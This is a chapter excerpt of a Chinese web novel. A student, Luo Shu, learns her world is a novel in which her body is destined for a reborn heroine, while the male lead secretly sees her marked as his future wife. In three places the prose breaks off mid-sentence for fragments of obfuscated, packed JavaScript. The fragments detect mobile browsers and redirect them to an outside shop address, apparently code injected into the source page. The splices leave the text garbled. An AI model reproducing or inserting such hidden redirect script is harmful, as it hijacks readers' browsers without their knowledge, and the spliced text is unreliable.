《好巧你也被剧透啦》 1. 12女主角 湛蓝如洗的天空万里无云,微风徐徐,传送来阵阵花香。 一只白色蝴蝶翩跹而来,落在少女圆圆的花苞头上,少女浑然不觉,手里捏着一封包装粉嫩的信件徘徊在校园门口,时不时焦虑地左顾右盼,像是在找什么人。 周围学生来来往往,有高一高二正常上学的学弟学妹,也有和她一样来登记高考成绩的高三毕业生,有不少人认出了她,刻意放慢了脚步等着看八卦。 不知过了多久,一辆出租车在少女身旁停下,后座车门打开,迈出一条修长的腿,男生探出身子,与少女对视一眼,表情散漫地下了车。 “段胥阳同学!”少女急忙上前,双手颤抖地递上她精心准备的情书:“我是你隔壁班的罗姝,我想跟你说,高中三年,我一直很喜欢你,希望你能收下我的情书!” 出租车从他身后驶过,带起一阵尾气,将他的头发拨乱。段胥阳没有什么羞涩的神情,也没有伸手去接。 “同学,”他眼神陌生地扫过她,懒洋洋地开口:“抱歉,我不、不、不喜、嗞——” “&#@!abcd1234$%^&()+-=” 男生未能说出口的话化作刺耳的电音,周围所有看热闹的人都化身没有灵魂的建模,脸上闪过大小不一的数据流。 原本流畅的天幕宛如被一双大手紧紧攥起,堆积的褶皱形成了一道道漩涡,连带着整个世界一起被揉碎。 罗姝从噩梦中惊醒,先缓了缓急促的呼吸和心跳,这才看了一眼手机,时间显示刚过凌晨四点。 可罗姝已经彻底睡不着了。 这是她这个月第25次做这个梦。 每场梦的细节可能有所不同,但主要情节是一样的,都是她在高考后跟同校三年的邻班校草段胥阳告白,然后被果断拒绝。 罗姝不禁回想她到底是怎么陷入如此境地的。 要论异常,从五月底开始,她就时常能听到一些杂音。但真正开始做梦,还是要从九月初,新生报到第一天说起。 高考时罗姝受杂音影响精神恍惚,最终高考成绩比往常在校成绩少了一百多分。 由于她坚决拒绝复读,家里父母对她十分失望,撂下一句“我们再不管你”,就直接去了首都培养二胎,自然也没有送她上学。 那天罗姝一个人扛着行李箱和被褥,艰难地走在偌大的校园里,十分迷茫地寻找自己宿舍楼的位置。 正在她累得气喘吁吁、大汗淋漓时,一双宽厚有力的手直接夺过她背上厚厚的被褥。 那人理直气壮地问:“几号楼?” “五、五号。”罗姝气都没喘匀,条件反射地回复了楼号,下一秒她反应过来,急忙伸手:“没事的,同学,我自己可以的。” “啧。”来人帅气精致的脸上浮现出不悦的神色,灵活地闪身躲开她,啧了一声:“你不知道我叫什么名字吗?” “段胥阳……同学。” 罗姝当然认识这张高中时期就搅动风云的脸,她只是从没听说过段胥阳是这样一个热心的性格。 对面段胥阳的脸色却又神奇地回温了,他越过罗姝大跨步走出去:“五号楼不在那边,你走错方向了,跟紧我。” 看了人家那大长腿一眼,罗姝皱眉抿着嘴,碍于东西在人家手上,只能小跑着追上去。 段胥阳也没体贴减速,抱着她的被褥一路走到五号楼门口,才停下来等她。 但说他不够体贴吧,一直到罗姝排了半天队从宿管那领了钥匙,他都没把东西丢下,而后还径直帮她送到了宿舍。 要不是罗姝及时制止他,这位热心校友甚至都打算替她铺床。 “段胥阳同学!这个我自己可以!” 段胥阳表情悻悻地收手,冲着一旁正在吃瓜的白婵打了个招呼,说了句:“那你们好好相处。” 便转身离去。 原本一直到现在为止,罗姝都没有再见过段胥阳。 问题就在于从那天晚上开始,罗姝就开始不间断地做梦。 整整25天军训期,她做了25天的梦,每天晚上在梦里被人花样拒绝,搞得她严重睡眠不足。 起床后还有高强度的训练,大半个月下来,罗姝憔悴得像是生了一场大病,连教官都不敢让她参训了。 大概是知道罗姝拿做梦这事没办法,这梦更加变本加厉,现在都开始从酸涩青春校园风发展成了变异恐怖赛博风。 在心里狠狠咒骂了两句,罗姝轻手轻脚地下床,打算去洗把脸。 谁知,刚打开卫生间的玻璃门,就见一阵刺眼的白光从门缝后争先恐后地挤出来,将罗姝彻底包裹,刺得她双眼发疼。 等罗姝双眼的刺痛感消失后,她缓缓睁开眼,发现自己正站在一处虚空里,眼前凭空漂浮着一本封面简单的书籍,上面印着一行花体字:《缘来又是你》。 那破书一闪一闪地发着光,像是在提醒罗姝翻开它。 罗姝左右看了看,四周一片白茫茫,别无选择。她只好一直站着,忍着腿酸脚麻把这本小说看完。 看完后,她顿悟了。 原来她生活了18年的世界其实是一本小说。扰了她一个月清梦的段胥阳是当之无愧的男主角,而她罗姝,是半个女主角。 之所以是半个,是因为这是一本女主借尸还魂的重生小说,罗姝的身体,就是女主角要借的尸。 罗姝:“……” 她就知道这鬼日子不像人过的,原来是为了给女主角创造背景啊。 小说从女主角曹恩悦重生后写起,主要情节是女主角报复害她丧命的渣男贱女并在这条复仇之路上收获真正的爱情。 对于罗姝这个原身的描写不过寥寥几句,罗姝专门提炼了一下有关于自己的剧情: “罗姝”有一对控制欲很强的父母,在她考入清大新闻系三年后,带着摆脱父母掌控的想法,她暗中决定去离家上千公里的某沿海城市一家官方报社实习。 熟料计划还是被父母知悉,他们将她控制在家里,强迫她进入当地一家工厂打工。“罗姝”内心绝望,愤然之下跳窗逃走,却也因为错过了递交材料的时间,没法进入正规报社,只能先成为一名八卦小报的狗仔。 她跟踪拍摄的第一个对象就是段胥阳,这个她喜欢了很多年、还曾在高中当众拒绝过她的表白、害她成为全校笑柄的人。 偷拍行为被段胥阳发现后,“罗姝”又惊又怕,羞耻之下转身逃跑,没有注意周遭的车辆,不幸遭遇车祸,至此将身体正式移交给了曹恩悦。 这段剧情可谓是槽多无口,但又诡异地贴合了一部分实际,罗姝瞪着眼睛,撇嘴心想。 她爸妈确实控制欲很强,如果不是她高考失利,按照父母的规划,她现在已经是清大新闻系的新生了。 而如今,她是一名普通一本大学旅游管理专业的莘莘学子,正在为成为一名合格的导游努力。 不过,凭借罗姝对父母的了解,他们虚荣心重,好攀比,是不会让她去工厂打工的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924045|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >以及,她高中时一心只读圣贤书,对隔壁班那位风云人物段胥阳也没有太过关注,这点完全与剧情不符。 怪不得天天做梦呢,罗姝板着死鱼脸,原来是她这个工具尸严重跑偏了剧情。 正想把关于自己的剧情再看一遍,罗姝耳边忽然响起室友白婵的声音:“姝姝,姝姝,要起床了。” 罗姝只感觉一阵头晕目眩,再次睁眼时发现自己竟然还躺在床上。 白婵已经穿戴整齐,正满脸担忧地推着她的肩膀。 “我还以为你生病了,怎么叫你都叫不醒。”见她醒来,白婵总算松了一口气。 太阳穴一鼓一鼓的抽疼,罗姝艰难地坐起来,靠在栏杆上问白婵:“小婵,你昨天晚上有听到我去卫生间吗?” 白婵的床位最靠近卫生间,她睡眠质量也不太好,晚上有点动静就会惊醒。此刻,也唯有她能证明罗姝经历的一切不是做梦。 但白婵很茫然地摇了摇头:“没有啊,我昨天晚上什么都没听到。” “没有么……”罗姝揉了揉自己的脸,试图让自己更加清醒一点。 那本名叫《缘来又是你》的小说,具体情节她还历历在目,这么久以来睡不好觉也不是她的臆想。 虽然这样说很不唯物主义,但罗姝就是莫名确信,这个世界不是真实的,她只是一本小说里的工具尸,由于她的各种行为都脱离了原剧情,所以她被世界意识警告了。 一路懵懂地跟着几位室友来到操场,今天是军训的最后一天,要完成军训的最后一个项目:会操表演。 会操以升国旗奏国歌拉开序幕,罗姝无精打采地垂头看着自己的双脚,忽然听到周围女同学的窃窃私语。 “那个升旗手是不是段胥阳?他穿制服也太帅了吧!” “早知道我就站第一排了,这样还能近距离看看帅哥!” “哎,你们知不知道他的乐队今天晚上有演出啊,上周就在校园墙开始宣传了。” “啊啊啊那我们一定要去看,需不需要门票啊?” 罗姝忍不住轻笑了一下,还真是和高中时期一模一样,只要段胥阳一出场,全校男女老少的目光焦点就都是他。 仪仗队踏着正步从队伍前庄严走过,罗姝的视线穿过前排同学的缝隙落在段胥阳身上。 军绿色的仪仗队礼服像是为他量身定做得一般,衬得他脊背笔挺、宽肩窄腰、四肢修长。 接近一个月的风吹日晒,将他原本白皙的皮肤晒成了健康的小麦色,冲淡了他五官的秀气,搭配着礼帽,竟让他多了些坚毅的男人味。 跟那个在梦中拒绝了她一次又一次的清俊少年截然不同。 世界的男主角吗? 罗姝又想起他在开学第一天对自己的帮助,有这样帅气的皮囊,还有这么柔软的内心,也难怪故事里的“罗姝”会悄悄喜欢他。 罗姝从很久以前就在思考自己存在的意义。父母为了让她能考上最好的大学,几乎把她与世隔绝。 从小到大,罗姝没有社交权、没有选择权,唯一的任务就是背书、做题、考出优异的成绩。 她时常认为自己没有灵魂,只是任人摆弄的木偶。 现在罗姝明白了,原来她存在的意义,就是为真正的女主角曹恩悦创造一个优质的重生条件。 就这样把自己的身体让出去吗? 罗姝的视线跟着段胥阳走出很远才缓缓收回,半晌,她僵硬地重新低下头。 就这样让出去吧。 2. 100%男主角 起初罗姝是有些不甘的。 凭什么她遭受的所有痛苦只是为了给女主铺路,就算这个世界是一本小说,是虚拟的存在,难道她罗姝不算有血有肉的活着吗? 她故意用指甲掐了一下她的胳膊,针扎般的刺痛感传遍神经,大脑抗议般嗡嗡两声,在向她证明,她明明富有生机。 可她抬头看了一眼天色,明明是那样明媚的天气,她却浑身发寒,感受不到任何温暖。 罗姝想到接连25天不能安然入睡的自己,想到自从高考出分那天摔门离去后再没有联系过的父母,想到所有人不解、痛惜的眼神。 她突然明白,“罗姝”这具躯体里装的究竟是不是罗姝的灵魂对所有人而言或许都不重要,“罗姝”只是一个符号,只有做到百分之百优秀,才能称之为“罗姝”。 相比起她本人,女主角曹恩悦那争强好胜的性格,或许才更合爸妈的心意。 人能不与天斗,她的命运如此,又何必做无用的抵抗。不如努力做好一个道具该做的事,老老实实走剧情,搞不好最后离去时还能轻松一点。 那么,按照世界意识连续25天的提醒,她现在要做的事,就是先去暗恋段胥阳,然后表白被拒。 怀揣着该如何暗恋一个人的疑问,罗姝机械地完成了军训最后一天的会操演出。 伴随着主席台上副校长一声洪亮的“解散!”,操场上的新生像是离巢的蚂蚁一样,乌泱泱散开。 罗姝和三位室友因为身高不同,被分配在大团的不同排数,如今所有人都走动起来,汇合起来颇费了一番功夫。 好不容易等四个人都凑齐了,就听见身后传来一阵急促的脚步声,还有一声焦急地呐喊:“罗姝!” 罗姝带着茫然的神色转身望去,就见段胥阳还穿着那身帅气的仪仗队礼服,一边脱手上的白色手套,一边向她走来。 “我晚上的演出,我给你,”段胥阳话语一顿,看了她身边的几人一眼,又补充说:“还有你的朋友都留了前排的座位。” “我……们吗?”感受到四面八方传来的八卦视线,罗姝颤颤巍巍抬起手地指了指自己,甚至都产生了一种荒谬的受宠若惊感。 段胥阳却丝毫意识不到自己有多自来熟似的,理直气壮地点头:“对啊,这可是我的第一场公开演出。” 他甚至有些委屈:“你不来支持我吗?” 罗姝把手背到身后,掐了自己一把,心里大喊一声:“暗恋!” 就这样给自己鼓劲后,罗姝僵硬地提起嘴角干笑两声:“当然,我当然会来支持你的,演出加油。” 段胥阳这才满意又神气地扬起下巴,掏出手机对罗姝示意:“那先加个微信,现在门票都在场务那里,你们到那就给我发微信,我让场务把票给你。” 就这样,罗姝猝不及防地拥有了段胥阳的微信。再一回头,对上的是三位室友六只明亮的眼睛。 “呵呵,”罗姝解释:“我们是高中校友,还是邻班,共用一套教学班子……所以还算是点头之交。” 室友们虽然也想八卦,但经过将近一个月的磨合,她们也对彼此的性格有了一些了解,几人相视一笑,便手挽手一起去吃饭。 饭后,几人回到宿舍,室友们不约而同地翻起了各自的行李箱。 罗姝在一旁格格不入地整理起了教科书,引来三人侧目。 “姝姝,晚上要前排看演出,你不挑一下衣服吗?”林莎问她。 “现在表白墙上,美术学院的气质学姐、空乘专业的艳丽系花和隔壁舞蹈学院新生里公认的清纯校花都在重金求购前排位置。”康雅琪一边比划一条长裙,一边分享自己刚刚查到的消息:“她们一定会盛装打扮,我们到时候要是和她们坐同一排,不好好捯饬一下,可是会被反衬成猴子的。” 罗姝抱着一本《管理学原理》十分认真地回复:“可是现在晚上也挺冷的,我想穿一套运动服过去。” 突然,她意识到了什么似的,将手里的书放下,问道:“那几朵花,是不是暗恋段胥阳啊?” 气氛瞬间变得诡异起来,那三人异口同声说道:“那叫明恋。” 罗姝若有所思地点点头,自言自语:“所以,暗恋段胥阳是不是也要盛装打扮一下?” “哦——?”林莎耳尖,顿时拉长了音,刻意挤出饱满的播音腔:“是某人暗恋段胥阳吗?” 白婵想到段胥阳还给罗姝搬行李的事,忍不住露出一个八卦到变态的笑容:“该不会,你们俩?嘿嘿嘿。” 康雅琪和她一左一右站着,两人的表情就像是复制粘贴,她跟着打趣:“难道我们有朝一日,能和校草女友同寝?” “你们别闹了。”罗姝从来没有经历过和朋友这样互相打趣的日常,脸皮很薄,此刻已经微微泛红。 想了想,她鼓足勇气坦白:“我打算从现在开始暗恋段胥阳。” 室友们得意地甩甩头,满脸写着:我就知道。 白婵将自己的行李箱一把丢开,挪到罗姝的衣柜前,说:“放心,你的幸福,我们来守护,你底子那么好,就算被那三朵花包围起来,你也是最靓的仔!” 说罢,她很不客气地开始翻罗姝的衣柜,只翻了几件她就频频摇头:“不行不行,太寡淡,得给姝姝买新的战袍。” “那我们一会儿就去逛街!”林莎也一脚蹬开自己的衣服,笑容满面地说:“正好我找不到一件顺眼的衣服。” 于是,三言两语间,罗姝的行程就被安排好了。 下午,罗姝终于换掉穿了接近一个月的迷彩服,重新穿上便装。 是一套浅灰色的长袖衬衫裙,裙摆只超出大腿根不到十公分,书卷气中不失甜美可爱,与罗姝意料之外的相得益彰。 那是室友们翻遍商场才给她找到的适配度最高的战袍。 裙摆太短,罗姝怕走光,更怕夜里冷,便不顾林莎反对执意穿了一条肉色的光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924046|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿神器。 还没来得及整理衣领和袖口,林莎一把将她拉到座位上坐好,化妆品不由分说的拍了过来。 “姝姝你支棱起来啊!”林莎手上动作迅速又利落,嘴上也数落不停:“情敌众多,我们要拿出气场!比起她们,你近水楼台先得月,可千万不能掉链子!” 罗姝眯缝着眼睛,瞥到空气中粉尘飞舞,默默屏住呼吸,不敢说话。 很快,焕然一新的四人就来到了体育馆门口。这里早已人满为患,挤进去都困难,罗姝的新鞋子都在乱中被人踩了好几脚。 暗恋一个人真的要付出好多,罗姝心里哀嚎着,摸出手机,给段胥阳发了一条微信:我们已经到门口了[微笑.jpg] 段胥阳秒回两个字:“等着。” 没过几分钟,一个青年从后门绕出来,扫视了几圈后,便径直朝着罗姝几人走来,拿着四张票的那只手在半空中挥了挥:“罗姝,跟我走。” 这位有些瘦削文艺的青年是段胥阳的发小曹非,也是罗姝的邻班同学。曹非不仅是段胥阳乐队里的键盘手,也是小说女主曹恩悦的亲弟弟。 想到他的身份,罗姝情不自禁地咬了咬下唇,扭头对室友们说:“走吧。” 这是货真价实的走后门,几人都不敢太高调,蹑手蹑脚地跟在曹非身后进了场馆。 段胥阳这次演出场地布置得非常专业,堪比一场小型音乐节,已经有观众入场。 曹非把门票递给她,指着一个方位说:“大概是在这一片,我就不带你们过去了,今晚玩得开心。” “谢谢,也祝你们演出顺利。” 段胥阳选的位置正对演出舞台,视野上可以将整个舞台尽收眼底,录像、拍照都非常方便。 林莎对着门票上的座次找到位置,她摸着那小马扎,忍不住感慨:“这种位置放在真的演唱会,得是VIP票专座吧。” “沾姝姝的光,”白婵撞了撞罗姝的肩膀:“也是让我们近排看到校草的演唱会了。” “那三朵花好像还没进来呢。”康雅琪左右巡视一圈,视线又回到了罗姝身上,她肯定地点点头:“我们姝姝肯定不比她们差。” 罗姝无奈地笑了笑。她倒是不太在意那三朵花,毕竟按照剧情,段胥阳这时候已经有喜欢的人了,就是大他十二岁的邻家姐姐,小说女主曹恩悦。 只是此时曹恩悦已经远赴大洋彼岸和渣男结婚,段胥阳只能将心事深藏,一直到曹恩悦重生到她的身上,他的感情才得以重新见光。 在这种背景下,再来三十多花也只能证明段胥阳身为男主的痴情。 很快,八点钟到来,伴随着一阵烟雾,段胥阳组建的校园乐队闪亮登场,大幕也亮起这次演出的主题:放肆的青春。 乐队名叫逆时针,一共有四个成员,段胥阳是其中的主唱和吉他手。 为诠释乐队反抗常规、逆转命运的理念,他们用一首《改变自己》火热开场。 3. 暗恋第1天 罗姝曾经在高中的文艺演出晚会上听过段胥阳唱歌,但跟着录制的伴奏唱歌,在一堆老师注视下中规中矩的表演,和跟着乐队现场演出,单纯发自热爱调动灵魂歌唱的魅力是完全不同的。 她并没有什么音乐品鉴能力,从前只知道段胥阳有把好嗓子,还会弹吉他,现在竟然也从段胥阳的歌声里听出了旺盛的生命力。 段胥阳丝毫不怯场,他满舞台的跑,到处跟听众手势互动。 相比起原唱王力宏,18岁的段胥阳那“改变自己,改变世界”的澎湃勇气中,又多了一丝不知天高地厚的莽撞,那是独属于少年人的意气。 这是一首再经典不过的歌,很快,在段胥阳的带动下,周围响起大合唱。听众们自发的亮起了闪光灯,蹦蹦跳跳地向世界发起挑战宣言,难掩的热血直冲云霄。 罗姝捂着耳朵,原本麻木的心脏都要随着音乐的律动爆炸了,她面上带起笑意,眸光波动不停。 九月末的夜晚已经有了凉意,但今晚好像不一样。 一连几首快节奏的歌曲,把整个场子的热情都点燃了,罗姝也被康雅琪和林莎一左一右拉着摇晃起身体,为表演者应援。 一个半小时的演出很快结束,即使观众再不情愿,也被保安指挥着逐步退场。 舞台的最前排就是距离门口最远的位置,为了防止拥挤,罗姝四人又在原地坐了一会儿,才起身往外走。 段胥阳就站在分割前台与后台的幕布后,看着那个极其显眼的身影越走越远,等到罗姝的身影彻底汇入人群中消失不见,他才挂起笑容朝后台走去。 此刻的后台,临时聘请来的工作人员来来往往,到处都是收装备、收道具、收线缆的人,场面混乱又忙碌。 曹非将他心爱的键盘收纳好,余光瞥见段胥阳心情不错的哼歌进来,露出了然的神色:“采访一下,你的女神来看你的演出,感受如何。” “我再重申一遍,”段胥阳收敛起笑容,一本正经的竖起手指:“是她,暗恋我。” 曹非嗤笑一声,捂着嘴只露出带着嘲意的双眼:“她暗恋你?从没有用正眼看过你的那种暗恋吗?我看你倒是没少偷看人家。” “我是在观察她到底要怎么暗恋我,”段胥阳说着,嘴角忍不住地上扬:“我们都互相加了微信了。” “这也值得你显摆,”曹非白了他一眼,又纳闷又好奇:“我也是佩服你,上午操场上那么多人,都长得一模一样,你居然还能一眼就找到她。” “那是在你们眼里一模一样,在我眼里,她比谁都明显。” 毕竟,不是所有人头顶上,都会顶着一个上下跳跃不停的红色大箭头。 说起来,段胥阳的人生一直以来都顺风顺水,中二时期他也曾幻想自己这么命好,是不是什么天命之子。 没想到这条荒诞的少年幻想,竟然在高三得到了佐证。 高三开学没多久,他就在隔壁班第一学霸的头顶上,看到了一个硕大又通红的箭头,箭头上还写着两个鎏金的大字:老婆。 且不说这个称谓对一个纯情少年冲击有多大,单是一个人脑袋上多了一个箭头这件事就足够他震惊一段时间了。 但其他人对此并没有任何反应,段胥阳不着声色地对周围的人一通旁敲侧击,很快就确定,这是只有他才能看到的箭头,是独属于他的金手指。 也就是说,这是老天爷亲自给他选的媳妇儿,一个从高一开始每周都要在国旗下讲话的超级大学霸。 学霸坐在靠近门口的第一排,那段时间他找了无数借口,在隔壁班门口来来往往,终于看清了那箭头下方还有一行小字:小娇妻正在暗恋中,告白倒计时四年六个月零三天。 一年时间过去,其实他已经可以做到在日常生活中完全忽视这个箭头。但每次想起箭头上的文字他还是既得意又觉得搞笑。 为了憋住笑意,他把自己硬生生憋成鸭子嘴:“什么小娇妻,人家全科年级第一,这么威风一个小学霸,哪里娇妻了。” 曹非听见他一个人嘟嘟囔囔,见怪不怪地扭头:“又发病。” 另一边,罗姝在给自己整理“暗恋计划书”。 她在网上查了很久暗恋那些事儿,根据各种文学和影视作品,大多数的暗恋行为都产生于自卑,常因对方的优秀而感到自己并不够好,因此难以开口表白。 同时,暗恋这种情感一般会从四个角度体现出来,分别是:情绪随着对方的行为剧烈波动、默默关注对方并刻意偶遇、写暗恋日记,以及为对方改变自己。 罗姝在“刻意偶遇”、“写日记”、“默默关注”这几个字眼上标注了重点符号。情感方面她实在难以模仿,毕竟她要是优秀起来就太过优秀了,她实在自卑不起来。 那就只能在行动上有所表示。 想了想,她打算先去超市买一本日记回来。 “你们去超市吗?或者有什么需要帮忙带的东西吗?”罗姝说干就干,她看了一眼时间,超市还没打烊,立马站起身开始换鞋。 “你现在要出去啊?”康雅琪已经卸好妆,正在抹护肤品。 “嗯,我想买个笔记本,写日记用。” “那我跟你一起去,我还能帮你挑一挑封面。” 白婵和林莎一听也急忙举手:“我也去!” 嘴上说着要帮忙选封面的室友们一进学生超市就冲着各区零食四散而去,罗姝自己一个人来到文具区,看着各式精美的笔记本,顿时感觉自己犯了选择困难症。 千挑万选,磨蹭了十几分钟,罗姝才下定决心买了一本封面很素雅的笔记本,翻开后每一页都印着卡通图案,简单中不失俏皮可爱。 结果室友们挑选零食的选择困难症比她还严重,罗姝结好账后又等了好久,那三个人才各自拎着大包零食走了出来。 白婵的零食瘾最大,她看到罗姝居然真的只买了一个笔记本,顿时大呼厉害:“我真的没有想到这个世界上真的有进了超市却一包零食都不买的人!” 罗姝只是笑:“我不喜欢吃零食。” 她的饮食被父母管理的很严格,他们生怕她哪天吃坏肚子影响上课,就连酸奶都很少允许她喝,久而久之,她也就不向往零食了。 当然了,手头拮据也是另一个重要原因。罗姝高考那两天空了不少大题,爸妈认为她完全有能力答完试卷,因此一直认为她是故意考砸的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924047|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽管她无数次解释自己那段时间总是听到杂音,身体不舒服,他们也认为这都是罗姝自己叛逆找的借口。 再加上罗姝一直拒绝复读,作为惩戒,他们断了罗姝的生活费,扬言让她自生自灭。 罗姝在便利店打了两个月短工,又运气好接到了一个不错的家教工作,才顺利攒够学费。至于现在用的生活费,那都是之前攒下来的压岁钱。 还好她爸妈虽然有各种各样的缺点,但不是会拿走孩子压岁钱的那种家长,不然罗姝真的会被饿死。 罗姝不想再想这些,后面室友们讨论什么零食好吃的时候,她便一直默不作声。 等回到寝室,她先去卫生间卸了妆,便换了睡衣坐在书桌前开始构思自己的第一篇日记。 她认认真真地写好日期,开始回忆她与段胥阳的几次交集,以及这些年来她听到过的关于段胥阳的传闻,慢慢拼凑出她对段胥阳的印象。 一个善良的、别扭的、有些霸道的、才华横溢的…… 想到这里罗姝顿了一下,一个具有蓬勃生命力的人,与行将朽木的她截然不同。 就算是黑夜,她仿佛也能在他身上看到劈穿穹顶的烈阳,炽热又坦荡。 她慢慢梳理情绪,在笔记本上留下一段工整的文字,便将它收好,专而拿起桌上的《管理学原理》认真翻看起来。 按照原计划,她本来是要认真预习这门专业课的,但为了看段胥阳的演出,她只能抽空速翻找重点,有针对性的进行理解并背诵。 一想到这,罗姝就感到自己很无趣。哪怕现在已经没有人盯着她好好学习了,可她依然在拿到课表的时候就早早做好了学习计划。 这么多年来一直被圈养着,她自理能力很弱,也没有朋友,唯一称得上擅长的就只有学习。 当然,现在看来这也并不是什么坏事,她还需要奖学金减轻经济负担。 只是偶尔她会觉得,她好像还活在什么无形的束缚中,周身都是锁链。 手机震动了两下,是段胥阳发来微信:“放假怎么回去?” 后天就进入小长假,明天宿管点名后就可以离校,不少同学甚至请了假,买了今晚的票连夜回家。 罗姝并不在其中,她认真打字回应:“假期我会留校。” “据说留校的话,全校只开一个食堂,而且只有两个菜。”段胥阳发来一段语音,罗姝戴上耳机点开,听到了他懒洋洋的声音。 “不是白菜炒白菜,就是包菜炒包菜,锅里找不到一根肉丝。” “你还是祖国的花骨朵呢,就吃这些,身体还吃得消嘛。” 罗姝:…… 可恶,单是看到菜名就感觉人生无望了。 在回家受父母白眼和在学校吃糠咽菜之间,罗姝陷入了艰难的抉择。 正为难着,手机又是叮铃一声,是她年仅9岁的小妹用电话手表给她发了一条语音。 “姐姐,爸爸妈妈说我们放假也不回去啦,你钱还够用吗?我偷偷跟你说,我房间的小猪存钱罐里还有一千块钱,你拿去用吧。” 所有的纠结在这一瞬间都变成了一种自作多情,罗姝身体僵硬了一会儿,才自嘲的笑了一下。 4. 暗恋第2天 罗姝先回复了妹妹几句,让她把钱存好别乱花,又切换回和段胥阳的聊天界面。 “有道理,我选择回家。” 她把这几个字发出去,突然想起自己的暗恋计划书里还有一条是“含蓄的语言”,急忙找了个害羞的表情补发过去。 这下够含蓄了吧? 罗姝之前没使用过这些社交软件。做家教时,热情的学生家长送了她一台新手机,她才拥有了人生第一台智能手机。 与互联网的甚少联系让她明明刚刚成年没多久,却觉得自己像一个跟不上时代的老人似的。 屏幕上,段胥阳的消息跳出来,他发来一个很可爱的表情包,是一只小白兔甩着两只耳朵蹦蹦跳跳,头上还飘着一行音符,只是看着就能让人感受到那种好心情。 完全秒杀她那个小黄脸emoji。 罗姝眼神中迸发出一抹奇异的神采。她微信联系人很少,班级群都是班主任在发一些比较严肃的通知,寝室群因为四人几乎形影不离还没发过言。 这是她第一次接触表情包这种东西。 她小心扯了扯临床的白婵:“小婵,你能不能教教我,从哪里找这种可爱的图片啊?” 出于礼貌,白婵没有细看他们的聊天记录,只是粗略扫了一眼。 这一眼已经足够发现问题了,她一骨碌翻身坐起来,十分严肃地把手搭在罗姝肩膀上:“亲爱的,你这个问题问的非常关键,你确实需要一些可爱的、撒娇的、暧昧的表情包。” “以后聊天,放弃那个黄脸盘子,像段胥阳一样,卖萌好吗?” 罗姝若有所思地记下新词汇,随后问出她最关心的内容:“发这样的…表情包,会显得说话比较含蓄吗?” “老含蓄了。”白婵振振有词:“当代年轻人的表情包社交文化,本身就是一种含蓄的沟通方式。” “原来如此。”罗姝一本正经地点点头:“我学会了,谢谢你,小婵。” 白婵正联合其他两位室友把自己珍藏的各种表情包都贡献出来,闻言不在意地挥挥手:“小事,小事。” 上百张表情包发布在寝室群,罗姝按照白婵教她的方式,一张一张加入自己的表情包库。 段胥阳那边早就发来了新的消息:“现在买票还能买得到吗?我明天自驾回去,可以带你一程,怎么样?” 罗姝打开购票软件一看,果然连站票都售罄了。 她又开始琢磨,一个暗恋段胥阳的人,收到段胥阳本人的邀请,会是什么反应呢? 应该会答应的吧,罗姝咬着嘴唇在那上百张表情包里翻找了好一会儿,终于找到一个适合的。 是一只Q版小熊在抬手挥舞,背景画着一颗心,心里用手写体写着:好哦~ 点击发送。 “呵,”隔着十几栋宿舍楼,某男寝里,段胥阳忍俊不禁地笑了,他极其刻意地将手机放在曹非眼前转悠一圈:“她给我比心。” 曹非:“……” “我们还约好明天一起开车回家。”段胥阳捏着下巴作沉思状:“需不需要给车里喷点香水啊,再放几只小熊玩偶,就和这个比心小熊一样的小熊,她应该会自在一点吧。” “你也知道的,她这个人就是比较害羞。” 曹非打断他的荡漾:“劳驾,我只有一个问题。” “说呗。”段胥阳已经开始翻箱倒柜找小熊,很敷衍地回了两个字。 “我应该还在你的计划里吧?”曹非掏出车钥匙:“毕竟这车也有我的一半。” 段胥阳动作一滞。 “你这个牲口。” —— 次日早上九点,罗姝被闹钟叫醒,她睡眼惺忪地揉了揉眼睛,原地躺着伸了个懒腰,抱着被子慢吞吞坐起身。 寝室里只剩下她一个人,一张小纸条放在她手机屏幕上,上面写着一行小字:难得见你睡得香就没叫醒你,阿姨已经查过寝啦,卫生也已经打扫过,我们先走一步,拜拜~ 字体偏幼圆,应该是林莎写的,她们三个买的都是一早的票,算算时间,这会儿都已经发车了。 终于睡了一个一夜无梦的好觉,罗姝轻盈地下床拉开窗帘。 阳光打在她身上,暖融融的,让她感觉浑身的血液都跟着温暖起来,她轻轻笑了一下,将那张纸条夹进了笔记本里,迅速洗漱完毕,背了个小包就走出了寝室。。 她和段胥阳约定十点钟在西校门汇合,去超市买了四瓶水和两个面包后,也才刚过九点半。 校门口有一个眼熟的人正靠在保安室的墙上低头玩手机,头发有些长,气质很文艺,是昨天刚见过面的曹非。 对哦。 罗姝顿住脚步,他们两个是发小,向来形影不离的,肯定也要一起回家。 她居然要同时和两个不熟悉的高中校友打交道吗? 她不由得局促地咬住下嘴唇的一块,一直咬到那块嫩肉发胀发麻,才强撑着鼓起勇气。 